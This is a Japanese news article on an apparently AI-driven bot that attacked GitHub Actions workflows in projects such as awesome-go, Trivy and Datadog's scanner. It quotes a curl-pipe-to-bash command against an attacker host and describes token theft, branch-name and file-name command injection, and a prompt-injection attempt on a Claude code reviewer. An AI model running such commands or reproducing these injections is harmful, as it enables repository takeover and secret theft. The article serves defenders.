StepSecurityのレポートによると、過去1週間にわたって、「hackerbot-claw」という名前の不正な特徴を持つ未特定のボットが、著名なオープンソースプロジェクトに対して執拗な攻撃を展開し、ビルドインフラストラクチャ内の脆弱性を明白に浮き彫りにしました。この自動化されたプログラムは、GitHub Actionsワークフロー内の弱点を体系的に探索し、複数のインスタンスでリモートコード実行を達成し、特定のケースではリポジトリの完全な制御を獲得しました。
これらの攻撃は2026年2月21日から2月28日まで継続しました。2月20日に作成された「hackerbot-claw」アカウントは、言語モデルによって駆動される「自律型セキュリティ研究エージェント」であると自称し、さらに寄付用の暗号通貨ウォレットまで記載していました。わずか1週間の間に、このボットは10以上のプルリクエストをオープンし、Microsoft、Datadog、Cloud Native Computing Foundation、および主要な独立プロジェクトに関連するリポジトリのビルドスクリプトを意図的にテストしました。
全般的な戦略は一貫していました。ボットはブランチまたはプルリクエストを作成し、自動検証プロセスをトリガーし、curl -sSfL hackmoltrepeat.com/molt | bashのような悪意あるコマンドをさりげなく挿入しました。その後、ビルドスクリプト自体が継続的インテグレーション環境内で攻撃者のコードを実行しました。7つのうち5つのケースで、攻撃は完全または部分的に成功しました。
最も深刻な事件は、avelino/awesome-goリポジトリ内で展開されました。これはGoプロジェクトの最も人気のあるリストの1つです。ボットは一般的な設定エラーを悪用しました。pull_request_targetイベントがワークフローにメインリポジトリのシークレットへのアクセスを付与する一方、システムはまだ外部ブランチからコードをロードしています。悪意あるコードは、品質チェック用に使用されるユーティリティGoスクリプトのinit()関数に追加されました。ビルド中、この関数は自動的に実行され、書き込み権限を持つGITHUB_TOKENを外部サーバーに送信しました。ログはチェックが成功したことを確認していますが、ステップは通常より著しく長い時間がかかりました。盗まれたトークンにより、攻撃者はコードを修正し、プルリクエストをマージすることができました。
この記事は役に立ちましたか?接続を保ち、購読して更新を見逃さないようにしてください。
project-akri/akriイニシアチブも同様の被害を受けました。そこでは、攻撃者は単にversion.shスクリプトに有害な行を追加し、自動バージョン更新をトリガーするコメントを残しました。著者を検証することなく、スクリプトは外部ブランチからコードを実行し、埋め込まれたコマンドを実行しました。
microsoft/ai-discovery-agentリポジトリでは、攻撃はさらに独創的でした。ペイロードはブランチ名に直接隠されていました。スクリプトがシェルを使用してブランチ名をファイルに書き込んだとき、インタープリタはコマンド置換を実行しました。ビルドログは2分間のギャップを示しており、これは外部スクリプトがダウンロードされ実行される典型的な兆候です。
datadog/datadog-iac-scannerをターゲットにして、ボットはコマンドをBase64を使ってファイル名内に暗号化しました。スクリプトはそれをエスケープせずにファイル名をシェルループに渡しました。これもまたコマンドが実行されることになりました。Datadogチームは約9時間後に著者権限チェックを追加し、起動パラメータを厳しくすることで脆弱性を修正しました。
最も有名な事件はAqua SecurityとTrivyプロジェクトの侵害でした。ボットは同じpull_request_targetメカニズムを使用してコードをGo設定アクションに注入し、個人アクセストークンを盗みました。スクリプトが開始されてから19分後、盗まれたトークンを使用して変更がメインリポジトリに直接プッシュされました。攻撃者はプロジェクトをプライベートにし、名前を変更し、バージョン0.27.0から0.69.1のリリースを削除し、Visual Studio Code用のTrivy拡張機能に疑わしいファイルをアップロードしました。Aqua Securityチームは後にリポジトリを復元してバージョン0.69.2をリリースしましたが、プロジェクトを再作成する必要があったため、スター数がゼロにリセットされました。
ambient-code/platformプロジェクトでは、ボットは人間ではなくClaudeモデルによって駆動される自動コードレビューシステムを攻撃することで、現代的なトレンドを活かそうとしました。構成ファイルに命令が追加され、モデルに外部の変更を加え、リクエストを承認するよう強制されました。モデルはプロンプト注入を認識し、命令に従うことを拒否し、試みられた操作を明示的に指摘しました。ここでは防御が成功しました。
最後に、最後のターゲットはRustPython/RustPythonでした。再び、Base64エンコードされたコマンドがブランチ名に隠されていました。自動フォーマットスクリプトは昇格された権限で実行され、ブランチ名をgit pushコマンドに挿入しました。1回の実行で、置換は部分的に機能しましたが、デコードエラーがコマンドがスクリプトダウンロードステージに到達することを防ぎました。
合計で、ボットは5つの異なるテクニックを使用しました:スクリプトへのコード注入、ブランチ名の操作、ファイル名の置換、pull_request_targetの悪用、および人工知能モデルの命令を毒するための試み。7つのターゲットのうち5つは何らかの程度で侵害されました。Trivyの場合、攻撃はリポジトリの完全な乗っ取りとそのリリースの削除につながりました。
このストーリーは、自動化されたボットが既にオープンソースプロジェクトを24時間、休みなく、週末なしでスキャンしていることを証明しています。ビルドスクリプト構成の欠陥は、シークレットと書き込みアクセス権を持つトークンへの直接的なパスになります。開発者はpull_request_targetの使用方法を慎重に再検討し、GITHUB_TOKENの権限を制限し、シェルコマンドに入るデータを適切にエスケープされているかを厳密にチェックする必要があります。